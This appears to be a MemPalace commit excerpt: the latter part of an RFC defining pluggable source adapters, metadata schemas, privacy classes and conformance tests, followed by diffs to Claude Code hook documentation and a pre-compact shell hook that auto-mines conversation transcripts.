The default when no `--source` is given is `filesystem`, preserving current `mempalace mine <path>` behavior.
**Backwards compatibility with `--mode`.** Current `cli.py:517-519` exposes `--mode {projects,convos}`. This spec maps:
- `--mode projects` → `--source filesystem` (the new default)
- `--mode convos` → `--source conversations`
`--mode` stays as a deprecated alias through v4.x with a deprecation warning on use; removed in v5.0.
Auto-detection would be hostile — a directory containing a `.git` folder, a `workspaceStorage/` subdir, and an `mbox` file is not a signal of user intent.
---
## 4. Configuration
### 4.1 Shape
```json
{
"sources": {
"my-cursor": {
"type": "cursor",
"workspace_storage": "~/Library/Application Support/Cursor/User/workspaceStorage"
},
"my-git": {
"type": "git",
"repos": ["/projects/mempalace", "/projects/site"]
}
},
"palaces": {
"work": {
"sources": ["my-git"],
"privacy_floor": "internal"
},
"personal": {
"sources": ["my-cursor"]
}
}
}
```
Single-user local mode: config is optional. `mempalace mine <path>` with no config uses the `filesystem` adapter and defaults.
### 4.2 Environment variables
- `MEMPALACE_SOURCE_<NAME>_*` — per-adapter secrets and connection info. Examples: `MEMPALACE_SOURCE_SLACK_TOKEN`, `MEMPALACE_SOURCE_NOTION_API_KEY`, `MEMPALACE_SOURCE_GIT_GITHUB_TOKEN`.
- Secrets MUST be readable from env vars; config files carry structure, env vars carry credentials. Same rule as RFC 001 §4.2.
### 4.3 Adapter-specific options
`SourceRef.options` is a free-form dict of non-secret values (§2.2). Each adapter documents its accepted keys. Unknown keys MUST be ignored (forward compatibility); the adapter MAY log a warning.
---
## 5. Metadata schema contract
### 5.1 Universal fields
Existing drawer metadata fields are preserved — the spec adds the following:
| New field | Type | Added by | Purpose |
|---|---|---|---|
| `adapter_name` | `str` | core, from `BaseSourceAdapter.name` | Which registered source produced this drawer. |
| `adapter_version` | `str` | adapter | Adapter's own version (distinct from palace `normalize_version`). Enables re-extract workflows targeted at drawers from a known-buggy adapter version. |
| `privacy_class` | `str` | adapter default, config override | Per §6. |
Existing fields retain their current semantics (verified against `miner.py:542-561` and `convo_miner.py:338-350`):
| Existing field | Role in the spec |
|---|---|
| `source_file` | Functions as the adapter's source-item identifier. Adapter defines the shape — a filesystem path for filesystem, a URI like `github.com/org/repo#pr=123` for git. MUST be stable across re-ingests of the same logical item. |
| `source_mtime` | Functions as the source-item version for filesystem. Adapters without mtime semantics MAY omit this field and use a different version discriminator (e.g., commit SHA in a separate `metadata["commit_sha"]` field); the spec only requires that `is_current()` can decide staleness from the stored metadata. |
| `filed_at` | When the record was written. ISO-8601 string. |
| `added_by` | Agent name (e.g., `lumi`, `claude-code`). Orthogonal to `adapter_name` — the agent is *who* triggered mining; the adapter is *how* data was extracted. |
| `wing`, `room`, `hall` | Palace routing. Populated by adapter per §2.5. |
| `chunk_index` | Per §1.6. Always 0 for `whole_record` / `metadata_only`. |
| `normalize_version` | Palace-wide schema version (currently `palace.py:50`). Unchanged. Separate from `adapter_version`. |
| `entities` | Semicolon-joined candidate entity names. Already flat; kept flat (§5.4 replacement). |
| `ingest_mode` | Per §1.5. Already on conversation drawers; added to filesystem drawers by the cleanup PR. |
| `extract_mode` | Conversation-adapter-specific (`exchange` vs `general`). Moves into the conversations adapter's declared schema per §5.2. |
**Nothing is renamed. Nothing is removed.** The spec formalizes the shape ingesters already converge on. Existing `where={"source_file": ...}` queries in `searcher.py`, `palace.py`, and callers keep working.
**Chroma metadata constraint:** all metadata values MUST be `str | int | float | bool`. No lists, no nested dicts. This matches RFC 001 §1.4 and the underlying ChromaDB contract. Structured side-data goes to the SQLite knowledge graph (§5.5) or to a declared flat JSON-encoded string field (§5.4).
### 5.2 Adapter schemas
Each adapter returns an `AdapterSchema` from `describe_schema()`:
```python
@dataclass(frozen=True)
class AdapterSchema:
fields: dict[str, FieldSpec] # Keyed by metadata key.
version: str
@dataclass(frozen=True)
class FieldSpec:
type: Literal["string", "int", "float", "bool", "delimiter_joined_string", "json_string"]
required: bool
description: str
indexed: bool = False # Hint to backends that can build indexes (RFC 001 §2.1).
# delimiter_joined_string: the delimiter character (default ";").
delimiter: str = ";"
# json_string: the JSON schema of the encoded object (informational only).
json_schema: dict | None = None
```
`delimiter_joined_string` covers the `entities` shape (current `;`-joined list of names). `json_string` is the escape hatch for adapters needing to pack nested data — the value stored is still a single flat `str` from Chroma's perspective, but the adapter is allowed to document its parsed shape.
Example for a hypothetical `slack` adapter:
```python
AdapterSchema(
version="1.0",
fields={
"channel_name": FieldSpec(type="string", required=True, description="Slack channel name", indexed=True),
"channel_id": FieldSpec(type="string", required=True, description="Slack channel ID"),
"thread_ts": FieldSpec(type="string", required=False, description="Thread root timestamp"),
"author_id": FieldSpec(type="string", required=True, description="Slack user ID", indexed=True),
"author_name": FieldSpec(type="string", required=True, description="Display name at extraction time"),
"reactions": FieldSpec(type="delimiter_joined_string", required=False, description="Emoji shortcodes"),
},
)
```
### 5.3 Enterprise keying
The adapter schema is the stable surface enterprises filter on. A support team querying the palace for `channel_id = "C01234"` does not care about ChromaDB's internal representation. The schema field is declared by the adapter, indexed by the backend (RFC 001 §2.1 `supports_metadata_filters`), and exposed through the existing `where=` clause.
This is how "structured data" serves company use cases without breaking transformation guarantees: declared-transformation content in the drawer, structured fields in the metadata, schema declared by the adapter, filtering done by the backend.
### 5.4 Entity hints (optional)
Adapters with `supports_entity_hints` MAY include:
```python
metadata["entity_hints_json"] = '[{"type":"person","name":"Milla Jovovich","confidence":0.95,"offset":120},{"type":"project","name":"MemPalace","confidence":1.0,"offset":0}]'
```
The value is a JSON-encoded string (type `json_string` in the adapter schema). Core parses on read and feeds into `mempalace/entity_detector.py` as a prior: hints with `confidence >= 0.9` bypass the heuristic detector; lower-confidence hints feed into it as candidates.
This is additive to the existing flat `entities` field — entity_hints carries structure (type, confidence, offset); `entities` remains the Chroma-indexable flat string. An adapter that produces entity_hints MUST also populate `entities` as the flat name-only projection, so existing filter queries keep working.
### 5.5 Knowledge-graph triples (optional)
Adapters with `supports_kg_triples` write directly to the SQLite knowledge graph via `mempalace/knowledge_graph.py` — **not** to drawer metadata. Chroma cannot store structured triples; the KG already exists for this purpose.
The adapter calls the existing `KnowledgeGraph.add_triple()` (signature verified against `mempalace/knowledge_graph.py:130`):
```python
palace.kg.add_triple(
subject="Ben",
predicate="committed",
obj="PR-567", # `object` is a Python builtin — the API uses `obj`.
valid_from="2026-03-12",
confidence=1.0,
source_file=drawer.source_file, # Existing provenance parameter.
)
```
Drawer metadata includes a flat counter — `metadata["kg_triples_count"]: int` — so search consumers can see at a glance that KG side-data exists for a drawer without hitting SQLite.
The existing API has `source_closet` and `source_file` provenance parameters but no `source_drawer_id` or `adapter_name`. The cleanup PR (§9) should add these two optional parameters to `add_triple()` so adapter-written triples can be traced back to (a) the specific drawer that produced them and (b) the adapter that authored them — necessary for re-extraction workflows. Until that lands, adapters use `source_file` as the provenance key and record adapter authorship via a separate table or a predicate naming convention (e.g., `adapter:git:committed`).
This aligns with the existing architecture in `CLAUDE.md` ("Knowledge Graph: ENTITY → PREDICATE → ENTITY with valid_from / valid_to dates") — the RFC formalizes the adapter-side write path.
### 5.6 Source encoding and newline
Current ingesters handle encoding lossily (`errors="replace"` in `miner.py:595` and `normalize.py:124`) and do not record original encoding. The spec does **not** require per-drawer `source_encoding` / `source_newline` — most runs are uniform UTF-8 / LF, and storing the same value on every drawer wastes bytes.
Instead: adapters that handle non-UTF-8 or non-LF sources record the values once on the adapter's `SourceSummary` and per-drawer only when a specific drawer diverges from the adapter default. The `utf8_replace_invalid` declared transformation (§1.4) already communicates that lossy decoding happened; specific drawer-level provenance is opt-in.
---
## 6. Privacy class
### 6.1 Defined levels
| Level | Meaning | Example sources |
|---|---|---|
| `public` | Content intended for public consumption. | arXiv papers, public GitHub repos, published blogs. |
| `internal` | Organizational content, not for public disclosure. | Corporate Slack, internal Notion, private git repos. |
| `pii_potential` | May contain personally identifiable information. | Email, iMessage, Claude/ChatGPT transcripts. |
| `sensitive` | Known to contain PII, financial, or health data. | Medical records, financial statements, legal filings. |
| `secrets_possible` | May contain credentials or secrets. | Git history, environment dumps, CI logs. |
An adapter declares a default on `BaseSourceAdapter.default_privacy_class`. Users MAY override per-source in config.
### 6.2 Enforcement
- Each palace declares a `privacy_floor`. Drawers above the floor (equal to or laxer) are admitted; drawers below are rejected at write time and surfaced in a `rejected` list on the CLI and MCP tool.
- **Default floor: none** — v1 accepts all levels unless the palace explicitly configures a floor. This keeps the single-user local default low-friction (users who run `mempalace mine` on a git repo expect `secrets_possible` drawers to land). Enterprise deployments MUST set a floor; docs for regulated-domain setup will recommend starting strict and relaxing as needed.
- Search results surface `privacy_class` in result metadata. MCP tool wrappers MAY redact results above a caller-declared ceiling.
- `secrets_possible` drawers SHOULD pass through a secrets-scan pre-index hook when one is available. PR #389 (sensitive content scanner) is the expected enforcement mechanism for v1; until it lands, `secrets_possible` is a label without automated scanning. The label is still useful — it enables floor-based rejection and alerts downstream consumers.
- The privacy class is recorded in drawer metadata and cannot be downgraded without a migration log entry, matching RFC 001's embedder-identity pattern.
Privacy class is how a regulated-domain deployment (medical, legal, financial) can use MemPalace safely. Without it, flexible ingest becomes a liability; with it, ingest is scoped by policy.
---
## 7. Testing contract
### 7.1 The abstract suite
MemPalace ships `mempalace.sources.testing.AbstractSourceAdapterContractSuite` — a pytest mixin. Every adapter package ships a concrete subclass:
```python
from mempalace.sources.testing import AbstractSourceAdapterContractSuite
class TestCursorAdapter(AbstractSourceAdapterContractSuite):
@pytest.fixture
def adapter(self):
return CursorAdapter()
@pytest.fixture
def fixture_source(self, tmp_path):
"""Build a minimal Cursor workspaceStorage fixture."""
...
return SourceRef(local_path=str(tmp_path))
@pytest.fixture
def canonical_source_bytes(self, fixture_source):
"""Return a mapping of source_file -> authoritative bytes.
For filesystem sources: the file's raw bytes.
For SQLite sources: the extracted value column bytes for each row.
For API sources: the canonical HTTP response body bytes.
Adapter-defined — the adapter knows what its 'source bytes' are.
"""
...
```
The suite covers:
- `ingest` yields items with stable `source_file` and well-formed `version`.
- `is_current()` returns True when metadata matches, False when it differs.
- `close()` releases resources; subsequent calls raise `AdapterClosedError`.
- Unicode content and unicode identifiers are preserved end-to-end.
- Large-source handling: 10k+ items ingest without loading all into memory.
- Error paths: `SourceNotFoundError`, `AuthRequiredError` raise with correct types.
- `SourceRef.options` MUST NOT contain secrets — the adapter raises if it detects a value matching a common-secret pattern (GitHub token prefix, Slack token prefix, etc.). Advisory test, not blocking.
### 7.2 Byte-preserving round-trip (for `byte_preserving` adapters only)
Required for adapters advertising `byte_preserving`:
```python
def test_byte_preserving_round_trip(self, adapter, fixture_source, canonical_source_bytes):
"""Concatenated chunks must equal the canonical source bytes.
For each source_file in the fixture:
1. Read canonical_source_bytes[source_file].
2. Collect all DrawerRecords for that source_file from adapter.ingest(...).
Skip metadata_only drawers (§1.5).
3. Sort by chunk_index.
4. Concatenate record.content values.
5. Assert equality with the canonical bytes (UTF-8 decoded).
"""
```
Failure raises `TransformationViolationError`.
### 7.3 Declared-transformation round-trip (for `declared_lossy` adapters)
Required for adapters with non-empty `declared_transformations`:
```python
def test_declared_transformation_round_trip(self, adapter, fixture_source, canonical_source_bytes):
"""Adapter output must be reproducible by applying ONLY declared transformations.
1. For each source_file, read canonical_source_bytes.
2. Apply each declared transformation in declared_transformations to the bytes,
in the order declared by the adapter, using the reference implementations
in mempalace.sources.transforms.
3. Compare the result to the concatenated record.content values.
4. If they differ, the adapter has applied a transformation it did not declare.
Raise TransformationViolationError.
"""
```
For transformations not in the reserved list (§1.4) — adapter-custom names — the adapter MUST provide a reference implementation callable under `mempalace.sources.transforms.<adapter_name>_<transform_name>`. The conformance suite imports and applies it. Undiscoverable custom transforms fail the test.
### 7.4 Schema conformance
A generator-based property test validates that every record yielded by `ingest` across the fixture source has metadata matching `describe_schema()`. Missing required fields, wrong types, or (in strict mode) undeclared fields fail the test.
### 7.5 Note on current corpus
No existing test in `tests/` asserts byte-preservation or declared-transformation correctness (verified via grep of `tests/` for `verbatim|byte.?preserv|round.?trip`). This RFC's conformance suite introduces the first such coverage. The existing MISSION.md claim of "verbatim always" is a social contract until this lands; afterward it becomes a machine-verified property of adapters that declare `byte_preserving`.
---
## 8. Versioning and compatibility
- `BaseSourceAdapter.spec_version` declares which spec version an adapter implements.
- MemPalace refuses to load an adapter declaring a different major spec version.
- Minor spec versions are additive: new optional methods, new capability tokens, new reserved transformation names, new universal metadata fields with sensible defaults.
- Adapters MAY declare their own `adapter_version` independent of the spec version; this is recorded on every drawer (§5.1) and enables "this drawer was extracted by cursor-adapter 0.3; 0.4 fixed a parsing bug; re-extract affected drawers" workflows.
- This is spec v1.0.
---
## 9. Cleanup prerequisite (not in this spec, but gating)
The existing in-tree ingesters are not adapter-shaped. Before RFC 002 can be enforced, the following refactor lands in a separate PR:
- Introduce `mempalace/sources/base.py` defining `BaseSourceAdapter`, the typed records, and the registry.
- Introduce `mempalace/sources/transforms.py` with reference implementations of every reserved transformation in §1.4. Adapters and the conformance suite both consume these.
- `mempalace/miner.py` → `mempalace/sources/filesystem.py` implementing `BaseSourceAdapter`. Current behavior preserved: 800-char chunking becomes the adapter's default; `READABLE_EXTENSIONS` moves to the adapter; `detect_room()` and `detect_hall()` move to the adapter per §2.5. `declared_transformations = frozenset({"utf8_replace_invalid", "whitespace_trim"})`.
- `mempalace/convo_miner.py` → `mempalace/sources/conversations.py`. Exchange-pair chunking stays. The format-detection logic in `normalize.py` becomes per-format plugins the conversations adapter composes (one for Claude Code JSONL, one for Codex JSONL, one for ChatGPT mapping trees, one for Claude.ai JSON, one for Slack JSON) — each small and independently testable, eliminating the `if source_type` chain. `declared_transformations` enumerates every transformation `normalize.py` and `convo_miner._chunk_by_exchange` actually perform (see §1.4 "Existing code mapping").
- Closet-building wired into the conversations adapter's post-step (currently missing, per §1.7) — side effect of routing through the unified core post-step.
- `mempalace/cli.py` subcommand `mine` routes through the `mempalace.sources` registry. `--mode {projects,convos}` becomes a deprecated alias for `--source {filesystem,conversations}`.
- `mempalace/mcp_server.py` `mempalace_mine` tool accepts a `source` parameter.
- `mempalace/palace.py` exposes `PalaceContext` — a per-mine-invocation facade that bundles the drawer collection, closet collection, knowledge graph, palace config, and progress hooks. Adapters receive this; they do not import `palace.py` directly.
- `NORMALIZE_VERSION` (currently a module-level constant in `palace.py:50`) stays. It is the palace-wide schema version, orthogonal to per-adapter `adapter_version`.
- `KnowledgeGraph.add_triple()` (`knowledge_graph.py:130`) gains two optional parameters: `source_drawer_id: str = None` and `adapter_name: str = None`. Existing callers are unaffected; adapters advertising `supports_kg_triples` (§5.5) populate both. Backwards-compatible change.
This cleanup is substantial — comparable to RFC 001 §10's chroma-import removal — and should land before any new third-party adapter PR merges. Each new adapter is easier after the cleanup, not harder.
---
## 10. Impact on in-flight PRs
| PR / Issue | Effort to align |
|---|---|
| [#274](https://github.com/MemPalace/mempalace/issues/274) Cursor SQLite | Becomes `mempalace-source-cursor` third-party package. Author has a working prototype on Windows; needs `describe_schema()`, `declared_transformations`, and the conformance suite. Prior #287 (closed unmerged) is predecessor work. |
| [#23](https://github.com/MemPalace/mempalace/pull/23) OpenCode SQLite | Becomes `mempalace-source-opencode`. Same shape as Cursor. |
| [#169](https://github.com/MemPalace/mempalace/pull/169) Pi agent | Becomes `mempalace-source-pi` or a format plugin under the conversations adapter (depending on format similarity). |
| [#232](https://github.com/MemPalace/mempalace/pull/232) Cursor JSONL | Deprecated in favor of #274's SQLite path; or a second mode of `mempalace-source-cursor`. |
| [#567](https://github.com/MemPalace/mempalace/pull/567), [#98](https://github.com/MemPalace/mempalace/pull/98) git-mine | Closest existing work to what the spec envisions. Becomes first-party `mempalace/sources/git.py`. Exercises `whole_record` mode, `supports_structured_metadata`, `supports_closet_hints` (decision-signal quotes), `supports_kg_triples` (commit authorship, PR review relationships). |
| [#591](https://github.com/MemPalace/mempalace/pull/591), [#592](https://github.com/MemPalace/mempalace/pull/592) Delphi Oracle | Deferred. The live-stream pattern is out of scope for v1 (§Non-goals). A v1.1 addition will specify webhook/stream adapters. |
| [#702](https://github.com/MemPalace/mempalace/pull/702) Cursor + factory.ai | Splits into two adapter packages. |
| [#981](https://github.com/MemPalace/mempalace/issues/981) path-level descriptions | Absorbed by §1.5 `metadata_only` mode + §5.1 `ingest_mode`. A new first-party `descriptions` adapter or a second mode on `filesystem`. |
| [#244](https://github.com/MemPalace/mempalace/pull/244) Cursor memory-first MCP workflow docs | Points at `mempalace-source-cursor` once the adapter lands. |
| [#419](https://github.com/MemPalace/mempalace/pull/419), [#300](https://github.com/MemPalace/mempalace/pull/300), [#952](https://github.com/MemPalace/mempalace/pull/952) language-extension additions to `READABLE_EXTENSIONS` | Becomes per-language config on the filesystem adapter. Contributors can publish domain-specific adapters without touching core. |
| [#389](https://github.com/MemPalace/mempalace/pull/389) sensitive content scanner | Expected enforcement mechanism for the `secrets_possible` privacy class (§6.2). Not a blocker for this spec, but a natural consumer. |
| [#434](https://github.com/MemPalace/mempalace/pull/434) auto-populate KG from drawers | Complementary: post-hoc derivation of KG triples from drawer content. Adapters with `supports_kg_triples` provide the up-front path; #434 handles everything else. |
---
## 11. Open questions
1. **Cross-adapter dedup.** When a PR body is mined via `git` AND shows up as a conversation quote mined via `claude-code`, both drawers land. Is query-time dedup in `searcher.py` sufficient, or should core maintain a content-hash index across adapters? Declared non-goal in v1 but worth revisiting if user feedback demands it.
2. **Live-stream pattern.** Delphi Oracle (#591/592) and potentially Slack/Discord real-time ingestion need a push-mode contract. This is a v1.1 addition (streaming adapter trait + webhook surface), not blocking.
3. **LLM-assisted structured extraction.** Some adapters will want to call an LLM to extract structured fields. The spec does not standardize this — should it? Argument for: conformance test for LLM-driven fields, consistent caching. Argument against: local-first / zero-API is a core promise; LLM dependencies are opt-in per adapter.
4. **Adapter-vs-format split for conversations.** §9 proposes format plugins composed under a single conversations adapter. Alternative: one adapter per format (claude-code, chatgpt, codex, cursor-jsonl, slack). The trade-off is discoverability (one adapter is easier to find) vs. encapsulation (format plugins are simpler to test). Preference leans toward the single-adapter + plugin model; open to counter-argument.
5. **Default `privacy_floor`.** v1 defaults to none (§6.2) so single-user local mining is frictionless. An argument exists for defaulting to `pii_potential` — forces regulated-domain users to opt in to sensitive levels rather than opt out. Open to changing the default before v1 ships.
6. **`canonical_source_bytes` for API-backed adapters.** §7.1 defines this as adapter-declared. For API-backed adapters (Slack, Notion), what constitutes "canonical bytes" in a conformance test — the fixture's captured HTTP response? A serialized representation of the parsed object? Leaves to the adapter; may need a follow-up spec for common conventions.
7. **`adapter_version` bump semantics.** When does an adapter bump `adapter_version`? On any behavior change? On declared-transformation changes only? Suggests a follow-up doc on adapter SemVer conventions for the community to agree on.
---
## 12. Rollout
1. Land the cleanup PR (§9): introduce `mempalace/sources/`, refactor `miner.py` → filesystem adapter, `convo_miner.py` → conversations adapter, route CLI and MCP through the sources registry. Behavior preserved end-to-end. Closets get built for conversation drawers as a side effect.
2. Land this spec as-is. Add `AbstractSourceAdapterContractSuite`, entry-point discovery, `AdapterSchema` validation, privacy-class enforcement (floor-gated writes), declared-transformation reference implementations in `mempalace/sources/transforms.py`.
3. Land `mempalace/sources/git.py` as the first-party adapter absorbing #567. Exercises `whole_record`, `supports_structured_metadata`, `supports_closet_hints`, `supports_kg_triples` together.
4. Encourage the Cursor (#274), OpenCode (#23), and Pi (#169) authors to publish as third-party packages under `mempalace-source-*`. Offer review help against the spec.
5. Publish adapter-authoring docs at [mempalaceofficial.com/guide/authoring-sources](https://mempalaceofficial.com/guide/authoring-sources.html).
6. Update [ROADMAP.md](../../ROADMAP.md) with spec v1.0 adoption under v4.0.0-alpha.
+44 -6
View File
@@ -7,22 +7,60 @@ MemPalace hooks act as an "Auto-Save" feature. They help your AI keep a permanen
* **PreCompact Hook** (`mempal_precompact_hook.sh`): Saves your context right before the AI's memory window fills up.
### 2. Setup for Claude Code
Add this to your configuration file to enable automatic background saving:
Add this to `~/.claude/settings.local.json` (global) or `.claude/settings.local.json` (project-scoped) to enable automatic background saving:
```json
{
"hooks": {
"Stop": [
{
"matcher": "",
"hooks": [{"type": "command", "command": "./hooks/mempal_save_hook.sh"}]
"matcher": "*",
"hooks": [{
"type": "command",
"command": "/absolute/path/to/hooks/mempal_save_hook.sh",
"timeout": 30
}]
}
],
"PreCompact": [
{
"matcher": "",
"hooks": [{"type": "command", "command": "./hooks/mempal_precompact_hook.sh"}]
"hooks": [{
"type": "command",
"command": "/absolute/path/to/hooks/mempal_precompact_hook.sh",
"timeout": 30
}]
}
]
}
}
}
```
Make the hooks executable:
```bash
chmod +x /absolute/path/to/hooks/mempal_save_hook.sh
chmod +x /absolute/path/to/hooks/mempal_precompact_hook.sh
```
**Note:** Replace `/absolute/path/to/hooks/` with the actual path where you cloned the MemPalace repository (e.g., `~/projects/mempalace/hooks/`).
### 3. What changed (v3.1.0+)
Both hooks now have **two-layer capture**:
1. **Auto-mine**: Before blocking the AI, the hook runs the normalizer on the JSONL transcript and upserts chunks directly into the palace. This captures raw tool output (Bash results, search findings, build errors) that the AI would otherwise summarize away.
2. **Updated reason messages**: The block reason now explicitly tells the AI to save tool output verbatim — not just topics and decisions.
### 4. Backfill past conversations (one-time)
The hooks capture conversations going forward, but you probably have months of past sessions. Run this once to mine them all:
```bash
mempalace mine ~/.claude/projects/ --mode convos
```
### 5. Configuration
- **`SAVE_INTERVAL=15`** — How many human messages between saves
- **`MEMPALACE_PYTHON`** — Python interpreter with mempalace + chromadb. Auto-detects: env var → repo venv → system python3
- **`MEMPAL_DIR`** — Optional directory for auto-ingest via `mempalace mine`
+2 -2
View File
@@ -5,13 +5,13 @@
Run the MCP server:
```bash
python -m mempalace.mcp_server
mempalace-mcp
```
Or add it to Claude Code:
```bash
claude mcp add mempalace -- python -m mempalace.mcp_server
claude mcp add mempalace -- mempalace-mcp
```
## Available Tools
+54 -15
View File
@@ -6,10 +6,10 @@ These hook scripts make MemPalace save automatically. No manual "save" commands
| Hook | When It Fires | What Happens |
|------|--------------|-------------|
| **Save Hook** | Every 15 human messages | Blocks the AI, tells it to save key topics/decisions/quotes to the palace |
| **PreCompact Hook** | Right before context compaction | Emergency save — forces the AI to save EVERYTHING before losing context |
| **Save Hook** | Every 15 human messages | Auto-mines transcript (tool output included), then blocks the AI to save topics/decisions/quotes |
| **PreCompact Hook** | Right before context compaction | Auto-mines transcript, then emergency save — forces the AI to save EVERYTHING before losing context |
The AI does the actual filing — it knows the conversation context, so it classifies memories into the right wings/halls/closets. The hooks just tell it WHEN to save.
**Two-layer capture:** Hooks auto-mine the JSONL transcript directly into the palace (capturing raw tool output — Bash results, search findings, build errors). They also block the AI with a reason message telling it to save verbatim tool output and key context. Belt and suspenders — tool output gets stored even if the AI summarizes instead of quoting.
## Install — Claude Code
@@ -67,7 +67,8 @@ Edit `mempal_save_hook.sh` to change:
- **`SAVE_INTERVAL=15`** — How many human messages between saves. Lower = more frequent saves, higher = less interruption.
- **`STATE_DIR`** — Where hook state is stored (defaults to `~/.mempalace/hook_state/`)
- **`MEMPAL_DIR`** — Optional. Set to a conversations directory to auto-run `mempalace mine <dir>` on each save trigger. Leave blank (default) to let the AI handle saving via the block reason message.
- **`MEMPAL_DIR`** — Optional **project directory** (code, notes, docs) to also mine on each save trigger, with `--mode projects`. The hook ALWAYS mines the active conversation transcript automatically with `--mode convos` — `MEMPAL_DIR` is purely additive, never an override. Leave blank if you don't want to ingest project files.
- **`MEMPALACE_PYTHON`** — Optional env var. Python interpreter with mempalace + chromadb installed. Auto-detects: `MEMPALACE_PYTHON` env var → repo `venv/bin/python3` → system `python3`. Set this if your venv is in a non-standard location.
### mempalace CLI
@@ -91,15 +92,19 @@ User sends message → AI responds → Claude Code fires Stop hook
↓
┌─── < 15 since last save ──→ echo "{}" (let AI stop)
│
└─── ≥ 15 since last save ──→ {"decision": "block", "reason": "save..."}
↓
AI saves to palace
↓
AI tries to stop again
↓
stop_hook_active = true
↓
Hook sees flag → echo "{}" (let it through)
└─── ≥ 15 since last save
↓
Auto-mine transcript → palace (tool output captured)
↓
{"decision": "block", "reason": "save tool output verbatim..."}
↓
AI saves to palace (topics, decisions, quotes)
↓
AI tries to stop again
↓
stop_hook_active = true
↓
Hook sees flag → echo "{}" (let it through)
```
The `stop_hook_active` flag prevents infinite loops: block once → AI saves → tries to stop → flag is true → we let it through.
@@ -109,14 +114,18 @@ The `stop_hook_active` flag prevents infinite loops: block once → AI saves →
```
Context window getting full → Claude Code fires PreCompact
↓
Hook ALWAYS blocks
Find transcript (from input or session_id lookup)
↓
Auto-mine transcript → palace (tool output captured)
↓
{"decision": "block", "reason": "save tool output verbatim..."}
↓
AI saves everything
↓
Compaction proceeds
```
No counting needed — compaction always warrants a save.
No counting needed — compaction always warrants a save. The auto-mine captures raw tool output before the AI gets a chance to summarize it away.
## Debugging
@@ -137,6 +146,36 @@ Example output:
**Hooks require session restart after install.** Claude Code loads hooks from `settings.json` at session start only. If you run `mempalace init` or manually edit hook config mid-session, the hooks won't fire until you restart Claude Code. This is a Claude Code limitation.
**`MEMPAL_PYTHON` override for the hook's internal Python calls.** The save hook parses its JSON input and counts transcript messages with `python3`. When the harness is launched from a GUI on macOS — `open -a`, Spotlight, the dock — its `PATH` is the minimal `/usr/bin:/bin:/usr/sbin:/sbin` inherited from `launchd`, not your shell PATH. If `python3` isn't on that PATH, those internal calls fail and the hook can't count exchanges.
Point the hook at any Python 3 interpreter to fix it:
```bash
export MEMPAL_PYTHON="/usr/bin/python3" # system Python is fine
export MEMPAL_PYTHON="$HOME/.venvs/mempalace/bin/python" # or your venv
```
Resolution priority: `$MEMPAL_PYTHON` (if set and executable) → `$(command -v python3)` → bare `python3`. The interpreter only needs `json` and `sys` from the standard library — `mempalace` itself does not need to be installed in it.
Note: the `mempalace mine` auto-ingest runs via the `mempalace` CLI, so that command also needs to be on the hook's `PATH`. Installing with `pipx install mempalace` or `uv tool install mempalace` puts it on a stable global location; otherwise extend the hook environment's `PATH` to include your venv's `bin/`.
## Backfill Past Conversations
The hooks only capture conversations going forward. To mine **past** Claude Code sessions into your palace, run a one-time backfill:
```bash
mempalace mine ~/.claude/projects/ --mode convos
```
This scans all JSONL transcripts from previous sessions and files them into the `conversations` wing. On a typical developer machine with months of history, this can yield 50K–200K drawers.
For Codex CLI sessions:
```bash
mempalace mine ~/.codex/sessions/ --mode convos
```
This only needs to be done once — after that, the hooks auto-mine each session as you go.
## Cost
**Zero extra tokens.** The hooks notify the AI that saves happened in the background — the AI doesn't need to write anything in the chat. All filing is handled automatically. Previous versions asked the AI to write diary entries and drawer content in the chat window, which cost ~$1/session in retransmitted tokens.
+62 -12
View File
@@ -41,31 +41,81 @@
# to save everything. After the AI saves, compaction proceeds normally.
#
# === MEMPALACE CLI ===
# This repo uses: mempalace mine <dir>
# or: mempalace mine <dir> --mode convos
# Set MEMPAL_DIR below if you want the hook to auto-ingest before compaction.
# Leave blank to rely on the AI's own save instructions.
# The hook ALWAYS mines the active conversation transcript synchronously
# before compaction (via `mempalace mine <transcript-dir> --mode convos`).
# MEMPAL_DIR is an *additional*, optional target for project files — it
# does not replace the conversation mine.
STATE_DIR="$HOME/.mempalace/hook_state"
mkdir -p "$STATE_DIR"
# Optional: set to the directory you want auto-ingested before compaction.
# Example: MEMPAL_DIR="$HOME/conversations"
# Leave empty to skip auto-ingest (AI handles saving via the block reason).
# Optional: project directory (code / notes / docs) to also mine before
# compaction. Mined with `--mode projects`. The conversation transcript
# is always mined regardless — this is purely additive.
# Example: MEMPAL_DIR="$HOME/projects/my_app"
MEMPAL_DIR=""
# Resolve the Python interpreter. Same contract as mempal_save_hook.sh:
# MEMPAL_PYTHON (explicit override) → $(command -v python3) → bare python3.
MEMPAL_PYTHON_BIN="${MEMPAL_PYTHON:-}"
if [ -z "$MEMPAL_PYTHON_BIN" ] || [ ! -x "$MEMPAL_PYTHON_BIN" ]; then
MEMPAL_PYTHON_BIN="$(command -v python3 2>/dev/null || echo python3)"
fi
# Read JSON input from stdin
INPUT=$(cat)
SESSION_ID=$(echo "$INPUT" | python3 -c "import sys,json; print(json.load(sys.stdin).get('session_id','unknown'))" 2>/dev/null)
# Parse session_id and transcript_path in one call. Sanitize both, then
# read sanitized values from one-per-line stdout into shell variables —
# avoids ``eval`` on generated code (#1231 review). Same contract as
# mempal_save_hook.sh.
mapfile -t _mempal_parsed < <(echo "$INPUT" | "$MEMPAL_PYTHON_BIN" -c "
import sys, json, re
data = json.load(sys.stdin)
sid = data.get('session_id', 'unknown')
tp = data.get('transcript_path', '')
safe = lambda s: re.sub(r'[^a-zA-Z0-9_/.\-~]', '', str(s))
print(safe(sid))
print(safe(tp))
" 2>/dev/null)
SESSION_ID="${_mempal_parsed[0]:-unknown}"
TRANSCRIPT_PATH="${_mempal_parsed[1]:-}"
# Expand ~ in path
TRANSCRIPT_PATH="${TRANSCRIPT_PATH/#\~/$HOME}"
# Validate that TRANSCRIPT_PATH looks like a transcript file. Mirrors
# mempalace.hooks_cli._validate_transcript_path so the shell hook
# rejects the same shapes the Python hook rejects (#1231 review).
is_valid_transcript_path() {
local path="$1"
[ -n "$path" ] || return 1
case "$path" in
*.json|*.jsonl) ;;
*) return 1 ;;
esac
case "/$path/" in
*/../*) return 1 ;;
esac
return 0
}
echo "[$(date '+%H:%M:%S')] PRE-COMPACT triggered for session $SESSION_ID" >> "$STATE_DIR/hook.log"
# Optional: run mempalace ingest synchronously so memories land before compaction
# Run ingest synchronously so memories land before compaction. Two
# independent targets — both run if both are set:
# 1. TRANSCRIPT_PATH (from Claude Code) → parent dir, --mode convos
# 2. MEMPAL_DIR → --mode projects
